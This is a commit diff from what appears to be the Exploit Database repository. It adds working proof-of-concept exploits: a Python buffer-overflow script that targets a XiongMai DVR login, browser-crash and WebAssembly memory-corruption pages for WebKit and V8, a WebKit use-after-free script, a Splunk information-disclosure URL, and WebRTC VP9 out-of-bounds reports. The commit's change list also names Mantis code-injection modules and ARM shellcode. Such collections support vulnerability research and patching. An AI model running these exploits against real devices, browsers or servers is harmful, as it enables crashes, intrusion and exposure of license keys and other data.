DB: 2018-06-09
11 changes to exploits/shellcodes
Gnome Web (Epiphany) < 3.28.2.1 - Denial of Service
WebKit - WebAssembly Compilation Info Leak
Google Chrome - Integer Overflow when Processing WebAssembly Locals
WebKit - Use-After-Free when Resuming Generator
WebRTC - VP9 Frame Processing Out-of-Bounds Memory Access
WebRTC - VP9 Missing Frame Processing Out-of-Bounds Memory Access
TrendMicro OfficeScan XG 11.0 - Change Prevention Bypass
MantisBT XmlImportExport Plugin - PHP Code Injection (Metasploit)
Mantis Bug Tracker 1.2.0a3 < 1.2.17 XmlImportExport Plugin - PHP Code Injection (Metasploit) (2)
Mantis 1.1.3 - 'manage_proj_page' PHP Code Execution (Metasploit)
Mantis Bug Tracker 1.1.3 - 'manage_proj_page' PHP Code Execution (Metasploit)
MantisBT 1.2.3 (db_type) - Cross-Site Scripting / Full Path Disclosure
MantisBT 1.2.3 (db_type) - Local File Inclusion
Mantis Bug Tracker 1.2.3 - 'db_type' Cross-Site Scripting / Full Path Disclosure
Mantis Bug Tracker 1.2.3 - 'db_type' Local File Inclusion
Mantis 0.15.x/0.16/0.17.x - JPGraph Remote File Inclusion Command Execution
Mantis Bug Tracker 0.15.x/0.16/0.17.x - JPGraph Remote File Inclusion Command Execution
Mantis 0.19 - Remote Server-Side Script Execution
Mantis 0.x - Multiple Cross-Site Scripting Vulnerabilities
Mantis 0.x - New Account Signup Mass Emailing
Mantis Bug Tracker 0.19 - Remote Server-Side Script Execution
Mantis Bug Tracker 0.x - Multiple Cross-Site Scripting Vulnerabilities
Mantis Bug Tracker 0.x - New Account Signup Mass Emailing
Mantis 0.x/1.0 - Multiple Input Validation Vulnerabilities
Mantis Bug Tracker 0.x/1.0 - Multiple Input Validation Vulnerabilities
Mantis 0.19.2/1.0 - 'Bug_sponsorship_list_view_inc.php' File Inclusion
Mantis Bug Tracker 0.19.2/1.0 - 'Bug_sponsorship_list_view_inc.php' File Inclusion
Mantis 0.x/1.0 - 'View_filters_page.php' Cross-Site Scripting
Mantis Bug Tracker 0.x/1.0 - 'View_filters_page.php' Cross-Site Scripting
Mantis 0.x/1.0 - 'view_all_set.php' Multiple Cross-Site Scripting Vulnerabilities
Mantis 0.x/1.0 - 'manage_user_page.php?sort' Cross-Site Scripting
Mantis Bug Tracker 0.x/1.0 - 'view_all_set.php' Multiple Cross-Site Scripting Vulnerabilities
Mantis Bug Tracker 0.x/1.0 - 'manage_user_page.php?sort' Cross-Site Scripting
MantisBT 1.1.8 - Cross-Site Scripting / SQL Injection
Mantis Bug Tracker 1.1.8 - Cross-Site Scripting / SQL Injection
MantisBT 1.2.19 - Host Header
Mantis Bug Tracker 1.2.19 - Host Header
MantisBT 1.2.0a3 < 1.2.17 - XmlImportExport Plugin PHP Code Injection (Metasploit)
Mantis Bug Tracker 1.2.0a3 < 1.2.17 XmlImportExport Plugin - PHP Code Injection (Metasploit) (1)
Monstra CMS < 3.0.4 - Cross-Site Scripting Automation
Monstra CMS < 3.0.4 - Cross-Site Scripting
XiongMai uc-httpd 1.0.0 - Buffer Overflow
Splunk < 7.0.1 - Information Disclosure
Linux/ARM - Egghunter (\x50\x90\x50\x90) + execve('/bin/sh') Shellcode (32 bytes)
Linux/ARM - Egghunter (0x50905090) + execve('/bin/sh') Shellcode (32 bytes)
Linux/ARM - Egghunter (0x50905090) + execve('/bin/sh') Shellcode (60 bytes)
This commit is contained in:
Offensive Security
parent
4af1687693
commit
0381c4c519
13 changed files with 863 additions and 19 deletions
31
exploits/hardware/webapps/44864.py
Executable file
31
exploits/hardware/webapps/44864.py
Executable file
|
|
@ -0,0 +1,31 @@
|
|||
# Exploit Title: XiongMai uc-httpd 1.0.0 - Buffer Overflow
|
||||
# Date: 2018-06-08
|
||||
# Exploit Author: Andrew Watson
|
||||
# Software Version: XiongMai uc-httpd 1.0.0
|
||||
# Vendor Homepage: http://www.xiongmaitech.com/en/
|
||||
# Tested on: KKMoon DVR running XiongMai uc-httpd 1.0.0 on TCP/81
|
||||
# CVE ID: CVE-2018-10088
|
||||
# DISCLAIMER: This proof of concept is provided for educational purposes only!
|
||||
|
||||
#!/usr/bin/python
|
||||
|
||||
import socket
|
||||
import sys
|
||||
|
||||
payload="A" * 85
|
||||
|
||||
print "\n###############################################"
|
||||
print "XiongMai uc-httpd 1.0.0 Buffer Overflow Exploit"
|
||||
|
||||
if len(sys.argv) < 2:
|
||||
print "\nUsage: " + sys.argv[0] + " <Host>\n"
|
||||
sys.exit()
|
||||
|
||||
print "\nTarget: " + sys.argv[1]
|
||||
print "Sending exploit..."
|
||||
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.connect((sys.argv[1],81))
|
||||
s.send('POST /login.htm HTTP/1.1\r\n')
|
||||
s.send('command=login&username=' + payload + '&password=PoC\r\n\r\n')
|
||||
s.close()
|
||||
print "\nExploit complete!"
|
||||
117
exploits/linux/dos/44857.html
Normal file
117
exploits/linux/dos/44857.html
Normal file
|
|
@ -0,0 +1,117 @@
|
|||
# Title: Gnome Web/Epiphany Browser < 3.28.2.1 - DoS App Crash (PoC)
|
||||
# Exploit Author: https://github.com/ldpreload
|
||||
# Date: 2018-06-06
|
||||
# Link: https://wiki.gnome.org/Apps/Web
|
||||
# Version: 3.28.2.1
|
||||
|
||||
<!>
|
||||
|
||||
libephymain.so in GNOME WEB/Epiphany < 3.28.2.1 allows a remote attacker to cause a Denial Of Service and crash the users browser. The cause of this is the "document.write"
|
||||
|
||||
<!>
|
||||
|
||||
PoC:
|
||||
|
||||
<script>
|
||||
b1tch3z = window.open("https://www.google.com", "bl1ngbl1ng", "width=250,height=250");
|
||||
b1tch3z.document.write("<p>~ua b1tch3z</p>");
|
||||
|
||||
// https://github.com/undergroundagency
|
||||
// https://github.com/ldpreload
|
||||
</script>
|
||||
|
||||
Video PoC:
|
||||
https://vimeo.com/273769801
|
||||
|
||||
<!>
|
||||
|
||||
ld@b1tch3z:~$ gdb epiphany
|
||||
(gdb) run
|
||||
Starting program: /usr/bin/epiphany
|
||||
[Thread debugging using libthread_db enabled]
|
||||
Using host libthread_db library "/usr/lib/libthread_db.so.1".
|
||||
|
||||
[New Thread 0x7fffdf7ab700 (LWP 23486)]
|
||||
[New Thread 0x7fffdd929700 (LWP 23487)]
|
||||
[New Thread 0x7fffdd128700 (LWP 23488)]
|
||||
[New Thread 0x7fffd7fff700 (LWP 23489)]
|
||||
[New Thread 0x7fffd77fe700 (LWP 23490)]
|
||||
[New Thread 0x7fffd6ffd700 (LWP 23491)]
|
||||
[New Thread 0x7fffd67fc700 (LWP 23492)]
|
||||
[New Thread 0x7fffd5ffb700 (LWP 23493)]
|
||||
[New Thread 0x7fffd57fa700 (LWP 23494)]
|
||||
[New Thread 0x7fff8b4c4700 (LWP 23499)]
|
||||
[New Thread 0x7fff899bc700 (LWP 23503)]
|
||||
[New Thread 0x7fff88fff700 (LWP 23506)]
|
||||
[New Thread 0x7fff6bfff700 (LWP 23507)]
|
||||
[New Thread 0x7fff6ae5f700 (LWP 23514)]
|
||||
[New Thread 0x7fff6a65e700 (LWP 23521)]
|
||||
|
||||
[Thread 0x7fff6a65e700 (LWP 23521) exited]
|
||||
[Thread 0x7fffd5ffb700 (LWP 23493) exited]
|
||||
[New Thread 0x7fffd5ffb700 (LWP 23527)]
|
||||
[New Thread 0x7fff6a65e700 (LWP 23528)]
|
||||
[New Thread 0x7fff691f6700 (LWP 23529)]
|
||||
[New Thread 0x7fff689f5700 (LWP 23530)]
|
||||
[New Thread 0x7fff43fff700 (LWP 23531)]
|
||||
[New Thread 0x7fff3b7fe700 (LWP 23532)]
|
||||
[New Thread 0x7fff437fe700 (LWP 23533)]
|
||||
[Thread 0x7fff3b7fe700 (LWP 23532) exited]
|
||||
[Thread 0x7fff899bc700 (LWP 23503) exited]
|
||||
[Thread 0x7fff691f6700 (LWP 23529) exited]
|
||||
[Thread 0x7fff689f5700 (LWP 23530) exited]
|
||||
[Thread 0x7fff437fe700 (LWP 23533) exited]
|
||||
[Thread 0x7fff43fff700 (LWP 23531) exited]
|
||||
[Thread 0x7fff6a65e700 (LWP 23528) exited]
|
||||
[New Thread 0x7fff6a65e700 (LWP 23557)]
|
||||
[Thread 0x7fffd5ffb700 (LWP 23527) exited]
|
||||
[New Thread 0x7fffd5ffb700 (LWP 23566)]
|
||||
[Thread 0x7fff6a65e700 (LWP 23557) exited]
|
||||
[Thread 0x7fffd5ffb700 (LWP 23566) exited]
|
||||
[New Thread 0x7fffd5ffb700 (LWP 23591)]
|
||||
[New Thread 0x7fff6a65e700 (LWP 23592)]
|
||||
[Thread 0x7fffd5ffb700 (LWP 23591) exited]
|
||||
[New Thread 0x7fffd5ffb700 (LWP 23597)]
|
||||
[Thread 0x7fffd5ffb700 (LWP 23597) exited]
|
||||
[New Thread 0x7fffd5ffb700 (LWP 23612)]
|
||||
[Thread 0x7fff6a65e700 (LWP 23592) exited]
|
||||
[Thread 0x7fffd5ffb700 (LWP 23612) exited]
|
||||
[New Thread 0x7fffd5ffb700 (LWP 23625)]
|
||||
[New Thread 0x7fff6a65e700 (LWP 23633)]
|
||||
[Thread 0x7fff6a65e700 (LWP 23633) exited]
|
||||
[New Thread 0x7fff6a65e700 (LWP 23644)]
|
||||
[Thread 0x7fff6a65e700 (LWP 23644) exited]
|
||||
[New Thread 0x7fff6a65e700 (LWP 23648)]
|
||||
[Thread 0x7fffd5ffb700 (LWP 23625) exited]
|
||||
[New Thread 0x7fffd5ffb700 (LWP 23652)]
|
||||
[Thread 0x7fff6a65e700 (LWP 23648) exited]
|
||||
[New Thread 0x7fff6a65e700 (LWP 23656)]
|
||||
[Thread 0x7fff6a65e700 (LWP 23656) exited]
|
||||
[Thread 0x7fffd5ffb700 (LWP 23652) exited]
|
||||
[New Thread 0x7fffd5ffb700 (LWP 23684)]
|
||||
[New Thread 0x7fff6a65e700 (LWP 23685)]
|
||||
[Thread 0x7fffd5ffb700 (LWP 23684) exited]
|
||||
[New Thread 0x7fffd5ffb700 (LWP 23715)]
|
||||
[Thread 0x7fff6a65e700 (LWP 23685) exited]
|
||||
[New Thread 0x7fff6a65e700 (LWP 23741)]
|
||||
[Thread 0x7fffd5ffb700 (LWP 23715) exited]
|
||||
[New Thread 0x7fffd5ffb700 (LWP 23773)]
|
||||
[Thread 0x7fffd5ffb700 (LWP 23773) exited]
|
||||
[New Thread 0x7fffd5ffb700 (LWP 23811)]
|
||||
[Thread 0x7fff6a65e700 (LWP 23741) exited]
|
||||
[New Thread 0x7fff6a65e700 (LWP 23815)]
|
||||
[Thread 0x7fffd5ffb700 (LWP 23811) exited]
|
||||
[New Thread 0x7fffd5ffb700 (LWP 23823)]
|
||||
[Thread 0x7fff6a65e700 (LWP 23815) exited]
|
||||
|
||||
Thread 43 "pool" received signal SIGSEGV, Segmentation fault.
|
||||
[Switching to Thread 0x7fffd5ffb700 (LWP 23823)]
|
||||
0x00007ffff77bcb2d in ?? () from /usr/lib/epiphany/libephymain.so
|
||||
|
||||
(gdb) bt
|
||||
#0 0x00007ffff77bcb2d in () at /usr/lib/epiphany/libephymain.so
|
||||
#1 0x00007ffff6cb7e39 in () at /usr/lib/libgio-2.0.so.0
|
||||
#2 0x00007ffff7040463 in () at /usr/lib/libglib-2.0.so.0
|
||||
#3 0x00007ffff703fa2a in () at /usr/lib/libglib-2.0.so.0
|
||||
#4 0x00007fffefa70075 in start_thread () at /usr/lib/libpthread.so.0
|
||||
#5 0x00007ffff7b1453f in clone () at /usr/lib/libc.so.6
|
||||
17
exploits/linux/webapps/44865.txt
Normal file
17
exploits/linux/webapps/44865.txt
Normal file
|
|
@ -0,0 +1,17 @@
|
|||
# Exploit Title: Splunk < 7.0.1 - Information Disclosure
|
||||
# Date: 2018-05-23
|
||||
# Exploit Author: KoF2002
|
||||
# Vendor Homepage: https://www.splunk.com/
|
||||
# Version: 6.2.3 - 7.01 MAYBE ALL VERSION AFFECTED
|
||||
# Tested on: Linux OS
|
||||
# CVE : CVE-2018-11409
|
||||
|
||||
# Splunk through 6.2.3 7.0.1 allows information disclosure by appending
|
||||
# /__raw/services/server/info/server-info?output_mode=json to a query,
|
||||
# as demonstrated by discovering a license key and other information.
|
||||
|
||||
# PoC :
|
||||
|
||||
https://127.0.0.1:8000/en-US/splunkd/__raw/services/server/info/server-info?output_mode=json
|
||||
|
||||
# Greats : Cold z3ro , ihab pal and all HTLovers "We Are Back"
|
||||
38
exploits/multiple/dos/44859.html
Normal file
38
exploits/multiple/dos/44859.html
Normal file
|
|
@ -0,0 +1,38 @@
|
|||
<!--
|
||||
There is an out-of-bounds read when compiling WebAssembly source buffers in WebKit. When a source buffer is compiled, it is first copied into a read-only buffer by the functuion getWasmBufferFromValue. This function returns the code buffer as follows:
|
||||
|
||||
return arrayBufferView ? static_cast<uint8_t*>(arrayBufferView->vector()) : static_cast<uint8_t*>(arrayBuffer->impl()->data());
|
||||
|
||||
If the source buffer is a view (DataView or TypedArray), arrayBufferView->vector() is returned. The vector() method returns the start of the data in the buffer, including any offset. However, the function createSourceBufferFromValue copies the output of this function as follows:
|
||||
|
||||
memcpy(result.data(), data + byteOffset, byteSize);
|
||||
|
||||
This means that if the buffer is a view, the offset is added to the buffer twice before this is copied. This could allow memory off the heap to be read out of the source buffer, either though parsing exceptions or data sections when they are copied. A minimal PoC for the issue is:
|
||||
|
||||
var b2 = new ArrayBuffer(1000);
|
||||
var view = new Int8Array(b2, 700);
|
||||
var mod = new WebAssembly.Module(a);
|
||||
|
||||
An HTML file the consistently crashes Safari is attached.
|
||||
-->
|
||||
|
||||
<html><body><script>
|
||||
for(var q = 0; q < 100; q++){
|
||||
var i = Math.random();
|
||||
i = Math.round(i*0x20000000);
|
||||
i = Math.abs(i);
|
||||
var b2 = new Uint8Array( i);
|
||||
console.log("i" + i);
|
||||
var j = Math.random();
|
||||
j = j*i;
|
||||
j = Math.round(j);
|
||||
j = Math.abs(j);
|
||||
console.log("j"+j)
|
||||
var view2 = new DataView(b2.buffer,j);
|
||||
try{
|
||||
var mod = new WebAssembly.Module(view2);
|
||||
}catch(e){
|
||||
console.log(e);
|
||||
}
|
||||
}
|
||||
</script></body></html>
|
||||
191
exploits/multiple/dos/44860.js
Normal file
191
exploits/multiple/dos/44860.js
Normal file
|
|
@ -0,0 +1,191 @@
|
|||
/*
|
||||
When v8 decodes the locals of a function, it performs a check:
|
||||
|
||||
if ((count + type_list->size()) > kV8MaxWasmFunctionLocals) {
|
||||
decoder->error(decoder->pc() - 1, "local count too large");
|
||||
return false;
|
||||
}
|
||||
|
||||
On a 32-bit platform, this check can be bypassed due to an integer overflow. This allows the number of function locals to be large, and can lead to memory corruption when the locals are allocated.
|
||||
|
||||
A PoC is attached.
|
||||
*/
|
||||
|
||||
var b2 = new Uint8Array( 171);
|
||||
b2[0] = 0x0;
|
||||
b2[1] = 0x61;
|
||||
b2[2] = 0x73;
|
||||
b2[3] = 0x6d;
|
||||
b2[4] = 0x1;
|
||||
b2[5] = 0x0;
|
||||
b2[6] = 0x0;
|
||||
b2[7] = 0x0;
|
||||
b2[8] = 0x1;
|
||||
b2[9] = 0xe;
|
||||
b2[10] = 0x3;
|
||||
b2[11] = 0x60;
|
||||
b2[12] = 0x1;
|
||||
b2[13] = 0x7f;
|
||||
b2[14] = 0x0;
|
||||
b2[15] = 0x60;
|
||||
b2[16] = 0x0;
|
||||
b2[17] = 0x0;
|
||||
b2[18] = 0x60;
|
||||
b2[19] = 0x2;
|
||||
b2[20] = 0x7f;
|
||||
b2[21] = 0x7f;
|
||||
b2[22] = 0x1;
|
||||
b2[23] = 0x7f;
|
||||
b2[24] = 0x2;
|
||||
b2[25] = 0x23;
|
||||
b2[26] = 0x2;
|
||||
b2[27] = 0x2;
|
||||
b2[28] = 0x6a;
|
||||
b2[29] = 0x73;
|
||||
b2[30] = 0x3;
|
||||
b2[31] = 0x6d;
|
||||
b2[32] = 0x65;
|
||||
b2[33] = 0x6d;
|
||||
b2[34] = 0x2;
|
||||
b2[35] = 0x0;
|
||||
b2[36] = 0x1;
|
||||
b2[37] = 0x7;
|
||||
b2[38] = 0x69;
|
||||
b2[39] = 0x6d;
|
||||
b2[40] = 0x70;
|
||||
b2[41] = 0x6f;
|
||||
b2[42] = 0x72;
|
||||
b2[43] = 0x74;
|
||||
b2[44] = 0x73;
|
||||
b2[45] = 0xd;
|
||||
b2[46] = 0x69;
|
||||
b2[47] = 0x6d;
|
||||
b2[48] = 0x70;
|
||||
b2[49] = 0x6f;
|
||||
b2[50] = 0x72;
|
||||
b2[51] = 0x74;
|
||||
b2[52] = 0x65;
|
||||
b2[53] = 0x64;
|
||||
b2[54] = 0x5f;
|
||||
b2[55] = 0x66;
|
||||
b2[56] = 0x75;
|
||||
b2[57] = 0x6e;
|
||||
b2[58] = 0x63;
|
||||
b2[59] = 0x0;
|
||||
b2[60] = 0x0;
|
||||
b2[61] = 0x3;
|
||||
b2[62] = 0x3;
|
||||
b2[63] = 0x2;
|
||||
b2[64] = 0x1;
|
||||
b2[65] = 0x2;
|
||||
b2[66] = 0x7;
|
||||
b2[67] = 0x1e;
|
||||
b2[68] = 0x2;
|
||||
b2[69] = 0xd;
|
||||
b2[70] = 0x65;
|
||||
b2[71] = 0x78;
|
||||
b2[72] = 0x70;
|
||||
b2[73] = 0x6f;
|
||||
b2[74] = 0x72;
|
||||
b2[75] = 0x74;
|
||||
b2[76] = 0x65;
|
||||
b2[77] = 0x64;
|
||||
b2[78] = 0x5f;
|
||||
b2[79] = 0x66;
|
||||
b2[80] = 0x75;
|
||||
b2[81] = 0x6e;
|
||||
b2[82] = 0x63;
|
||||
b2[83] = 0x0;
|
||||
b2[84] = 0x1;
|
||||
b2[85] = 0xa;
|
||||
b2[86] = 0x61;
|
||||
b2[87] = 0x63;
|
||||
b2[88] = 0x63;
|
||||
b2[89] = 0x75;
|
||||
b2[90] = 0x6d;
|
||||
b2[91] = 0x75;
|
||||
b2[92] = 0x6c;
|
||||
b2[93] = 0x61;
|
||||
b2[94] = 0x74;
|
||||
b2[95] = 0x65;
|
||||
b2[96] = 0x0;
|
||||
b2[97] = 0x2;
|
||||
b2[98] = 0xa;
|
||||
b2[99] = 0x47;
|
||||
b2[100] = 0x2;
|
||||
b2[101] = 0x6;
|
||||
b2[102] = 0x0;
|
||||
b2[103] = 0x41;
|
||||
b2[104] = 0x2a;
|
||||
b2[105] = 0x10;
|
||||
b2[106] = 0x0;
|
||||
b2[107] = 0xb;
|
||||
b2[108] = 0x3e;
|
||||
b2[109] = 0x1;
|
||||
b2[110] = 0xff;
|
||||
b2[111] = 0xff;
|
||||
b2[112] = 0xff;
|
||||
b2[113] = 0xff;
|
||||
b2[114] = 0x0f;
|
||||
b2[115] = 0x7f;
|
||||
b2[116] = 0x20;
|
||||
b2[117] = 0x0;
|
||||
b2[118] = 0x20;
|
||||
b2[119] = 0x1;
|
||||
b2[120] = 0x41;
|
||||
b2[121] = 0x4;
|
||||
b2[122] = 0x6c;
|
||||
b2[123] = 0x6a;
|
||||
b2[124] = 0x21;
|
||||
b2[125] = 0x2;
|
||||
b2[126] = 0x2;
|
||||
b2[127] = 0x40;
|
||||
b2[128] = 0x3;
|
||||
b2[129] = 0x40;
|
||||
b2[130] = 0x20;
|
||||
b2[131] = 0x0;
|
||||
b2[132] = 0x20;
|
||||
b2[133] = 0x2;
|
||||
b2[134] = 0x46;
|
||||
b2[135] = 0xd;
|
||||
b2[136] = 0x1;
|
||||
b2[137] = 0x41;
|
||||
b2[138] = 0x2a;
|
||||
b2[139] = 0x10;
|
||||
b2[140] = 0x0;
|
||||
b2[141] = 0x20;
|
||||
b2[142] = 0x3;
|
||||
b2[143] = 0x41;
|
||||
b2[144] = 0xc4;
|
||||
b2[145] = 0x0;
|
||||
b2[146] = 0x20;
|
||||
b2[147] = 0x0;
|
||||
b2[148] = 0x36;
|
||||
b2[149] = 0x2;
|
||||
b2[150] = 0x0;
|
||||
b2[151] = 0x41;
|
||||
b2[152] = 0xc4;
|
||||
b2[153] = 0x0;
|
||||
b2[154] = 0x6a;
|
||||
b2[155] = 0x21;
|
||||
b2[156] = 0x3;
|
||||
b2[157] = 0x20;
|
||||
b2[158] = 0x0;
|
||||
b2[159] = 0x41;
|
||||
b2[160] = 0x4;
|
||||
b2[161] = 0x6a;
|
||||
b2[162] = 0x21;
|
||||
b2[163] = 0x0;
|
||||
b2[164] = 0xc;
|
||||
b2[165] = 0x0;
|
||||
b2[166] = 0xb;
|
||||
b2[167] = 0xb;
|
||||
b2[168] = 0x20;
|
||||
b2[169] = 0x3;
|
||||
b2[170] = 0xb;
|
||||
|
||||
function f(){print("in f");}
|
||||
var memory = new WebAssembly.Memory({initial:1, maximum:1});
|
||||
var mod = new WebAssembly.Module(b2);
|
||||
var i = new WebAssembly.Instance(mod, { imports : {imported_func : f}, js : {mem : memory}});
|
||||
i.exports.accumulate.call(0, 5);
|
||||
138
exploits/multiple/dos/44861.html
Normal file
138
exploits/multiple/dos/44861.html
Normal file
|
|
@ -0,0 +1,138 @@
|
|||
<!--
|
||||
In WebKit, resuming a generator is implemented in JavaScript. An internal object property, @generatorState is used to prevent recursion within generators. In GeneratorPrototype.js, the state is checked by calling:
|
||||
|
||||
var state = this.@generatorState;
|
||||
|
||||
and set by calling:
|
||||
|
||||
generator.@generatorState = @GeneratorStateExecuting;
|
||||
|
||||
|
||||
Checking that the @generator property is set is also used in place of type checking the generator.
|
||||
|
||||
Therefore, if Generator.next is called on an object with a prototype that is a Generator, it will pass the type check, and the internal properties of the Generator prototype will be used to resume the generator. However, when @generatorState, it will be set as an own property on the object, not the prototype. This allows the creation of non-Generator objects with the @generatorState set to completed.
|
||||
|
||||
It is then possible to bypass the recursion check by setting the prototype of one of these objects to a Generator, as the check will then get the object's @generatorState own property, meanwhile the other internal properties will come from the prototype.
|
||||
|
||||
Generators are not intended to allow recursion, so a reference to the scope is not maintained, leading to a use-after free.
|
||||
|
||||
A minimal sample of the script causing this problem is below, and a full PoC is attached.
|
||||
|
||||
var iterator;
|
||||
|
||||
var a = [];
|
||||
|
||||
function* foo(index) {
|
||||
|
||||
while (1) {
|
||||
var q = a.pop();
|
||||
if(q){
|
||||
q.__proto__ = iterator;
|
||||
q.next();
|
||||
}
|
||||
yield index++;
|
||||
}
|
||||
}
|
||||
|
||||
function* foo2(){
|
||||
yield;
|
||||
}
|
||||
|
||||
var temp = foo2(0);
|
||||
|
||||
for(var i = 0; i < 10; i++){ // make a few objects with @generatorState set
|
||||
var q = {};
|
||||
q.__proto__ = temp;
|
||||
q.next();
|
||||
q.__proto__ = {};
|
||||
a.push(q);
|
||||
|
||||
}
|
||||
|
||||
iterator = foo(0);
|
||||
|
||||
var q = {};
|
||||
q.__proto__ = iterator;
|
||||
print(q.next().value);
|
||||
-->
|
||||
|
||||
<html><body><script>
|
||||
print = console.log;
|
||||
print("top");
|
||||
var iterator;
|
||||
var o = function(){print("hello")};
|
||||
var a = [];
|
||||
function* foo(index) {
|
||||
//print("start");
|
||||
|
||||
while (1) {
|
||||
//if(index == 77){
|
||||
// o = 0;
|
||||
// gc();
|
||||
// index = 2;
|
||||
// var a = [1, 2, 3, 4];
|
||||
//yield 9;
|
||||
//print("a vale " + a[0]);
|
||||
//}
|
||||
//if(index == 1){
|
||||
//index = 77;
|
||||
// print("INTERNAL CALL")
|
||||
// iterator.next();
|
||||
//index++;
|
||||
|
||||
//}
|
||||
//var b = [1, 2, 3, 4];
|
||||
var q = a.pop();
|
||||
if(q){
|
||||
print("here1");
|
||||
q.__proto__ = iterator;
|
||||
q.next();
|
||||
}
|
||||
yield index++;
|
||||
//print("bval" + b[0]);
|
||||
}
|
||||
}
|
||||
|
||||
function* foo2(){
|
||||
|
||||
yield;
|
||||
|
||||
}
|
||||
|
||||
var temp = foo2(0);
|
||||
|
||||
for(var i = 0; i < 10; i++){
|
||||
|
||||
var q = {};
|
||||
q.__proto__ = temp;
|
||||
q.next();
|
||||
q.__proto__ = {};
|
||||
a.push(q);
|
||||
|
||||
}
|
||||
//print(a);
|
||||
iterator = foo(0);
|
||||
|
||||
|
||||
// expected output: 0
|
||||
|
||||
|
||||
|
||||
|
||||
o.__proto__ = iterator;
|
||||
//print("FIRST CALL")
|
||||
//print(o.next().value);
|
||||
//print("SECOND CALL")
|
||||
//print(o.next().value);
|
||||
//print("THIRD CALL")
|
||||
|
||||
for(var i = 0; i < 10; i++){
|
||||
var q = {};
|
||||
q.__proto__ = iterator;
|
||||
print(q.next("hello").value);
|
||||
}
|
||||
|
||||
//print("FOURTH CALL")
|
||||
//print(iterator.next().value);
|
||||
o();
|
||||
</script></body></html>
|
||||
44
exploits/multiple/dos/44862.txt
Normal file
44
exploits/multiple/dos/44862.txt
Normal file
|
|
@ -0,0 +1,44 @@
|
|||
There is a missing check in VP9 frame processing that could lead to memory corruption.
|
||||
|
||||
In the file video_coding/rtp_frame_reference_finder.cc, the function RtpFrameReferenceFinder::ManageFrameVp9 fetches the GofInfo based on a pic_idx parsed from the incoming packet header. If the incoming frame is of type kVideoFrameKey, find is called on an iterator and the result is used without checking whether the it succeeds.
|
||||
|
||||
if (frame->frame_type() == kVideoFrameKey) {
|
||||
...
|
||||
GofInfo info = gof_info_.find(codec_header.tl0_pic_idx)->second;
|
||||
FrameReceivedVp9(frame->id.picture_id, &info);
|
||||
UnwrapPictureIds(frame);
|
||||
return kHandOff;
|
||||
}
|
||||
|
||||
This can cause a pointer to memory outside the gof_info_ map to be passed to FrameReceivedVp9. This function both reads and writes the info structure.
|
||||
|
||||
This issue does not crash reliably, so I recommend reproducing it using an asan build of Chrome. To reproduce the issue:
|
||||
|
||||
1) unzip the attached webrtc-from-chat.zip on a local webserver
|
||||
2) fetch the webrtc source (https://webrtc.org/native-code/development/), and replace src/modules/rtp_rtcp/source/rtp_format_vp9.cc with the version attached to the code
|
||||
3) build webrtc, including the examples
|
||||
4) run the attached webrtcserver.py with python 3.6 or higher
|
||||
5) start the peerconnection_client sample in the webrtc examples. Connect to the recommended server, and then select test2 as the peer to connect to
|
||||
6) visit http://127.0.0.1/webrtc-from-chat/index.html in chrome
|
||||
7) Enter any username and hit "Log in"
|
||||
8) Type anything into the chat window at the bottom and hit send
|
||||
|
||||
Chrome should crash in a few seconds.
|
||||
|
||||
Though the attached PoC requires user interaction, it is not necessary to exercise this issue in a browser.
|
||||
|
||||
This issue affects any browser that supports VP9, and can be reached by loading a single webpage (though some browsers will prompt for permissions). It also affects native clients (such as mobile applications) that use webrtc and support VP9, though the user has to place or answer a video call for their client to be in the state where this issue is reachable.
|
||||
|
||||
I recommend fixing this by changing the above code to:
|
||||
|
||||
auto gof_info_it = gof_info_.find(codec_header.tl0_pic_idx);
|
||||
if (gof_info_it == gof_info_.end())
|
||||
return kDrop;
|
||||
GofInfo info = gof_info_it->second;
|
||||
FrameReceivedVp9(frame->id.picture_id, &info);
|
||||
|
||||
I have verified that this fix would prevent the crash.
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/44862.zip
|
||||
40
exploits/multiple/dos/44863.txt
Normal file
40
exploits/multiple/dos/44863.txt
Normal file
|
|
@ -0,0 +1,40 @@
|
|||
There is a missing check in VP9 frame processing that could lead to memory corruption.
|
||||
|
||||
In the file video_coding/rtp_frame_reference_finder.cc, the function RtpFrameReferenceFinder::MissingRequiredFrameVp9 contains the following code:
|
||||
|
||||
size_t temporal_idx = info.gof->temporal_idx[gof_idx];
|
||||
...
|
||||
for (size_t l = 0; l < temporal_idx; ++l) {
|
||||
...
|
||||
auto missing_frame_it = missing_frames_for_layer_[l].lower_bound(ref_pid);
|
||||
|
||||
missing_frames_for_layer_ is a std::array of length kMaxTemporalLayers which equals 5.
|
||||
|
||||
Meanwhile, values in the temporal_idx array are read in rtp_format_vp9.cc in the following code:
|
||||
|
||||
RETURN_FALSE_ON_ERROR(parser->ReadBits(&t, 3));
|
||||
...
|
||||
vp9->gof.temporal_idx[i] = t;
|
||||
|
||||
Reading three bits makes the maximum size of temporal_idx 7, which can go out of bounds of the missing_frames_for_layer_ array.
|
||||
|
||||
This issue causes a crash in Chrome. To reproduce the issue.
|
||||
|
||||
1) unzip the attached webrtc-from-chat.zip on a local webserver
|
||||
2) fetch the webrtc source (https://webrtc.org/native-code/development/), and replace src/modules/rtp_rtcp/source/rtp_format_vp9.cc with the version attached to the code
|
||||
3) build webrtc, including the examples
|
||||
4) run the attached webrtcserver.py with python 3.6 or higher
|
||||
5) start the peerconnection_client sample in the webrtc examples. Connect to the recommended server, and then select test2 as the peer to connect to
|
||||
6) visit http://127.0.0.1/webrtc-from-chat/index.html in chrome
|
||||
7) Enter any username and hit "Log in"
|
||||
8) Type anything into the chat window at the bottom and hit send
|
||||
|
||||
The attached file 'missingframe' contains the VP9 frame that causes this crash.
|
||||
|
||||
Though the attached PoC requires user interaction, it is not necessary to exercise this issue in a browser.
|
||||
|
||||
This issue affects any browser that supports VP9, and can be reached by loading a single webpage (though some browsers will prompt for permissions). It also affects native clients (such as mobile applications) that use webrtc and support VP9, though the user has to place or answer a video call for their client to be in the state where this issue is reachable.
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/44863.zip
|
||||
|
|
@ -1,8 +1,10 @@
|
|||
# Title: Monstra CMS < 3.0.4 - Cross-Site Scripting Automation
|
||||
# Title: Monstra CMS < 3.0.4 - Cross-Site Scripting
|
||||
# Date: 2018-06-07
|
||||
# Author: DEEPIN2
|
||||
# Software: Monstra CMS
|
||||
# Version: 3.0.4 and earlier
|
||||
# This automation code requires Python3
|
||||
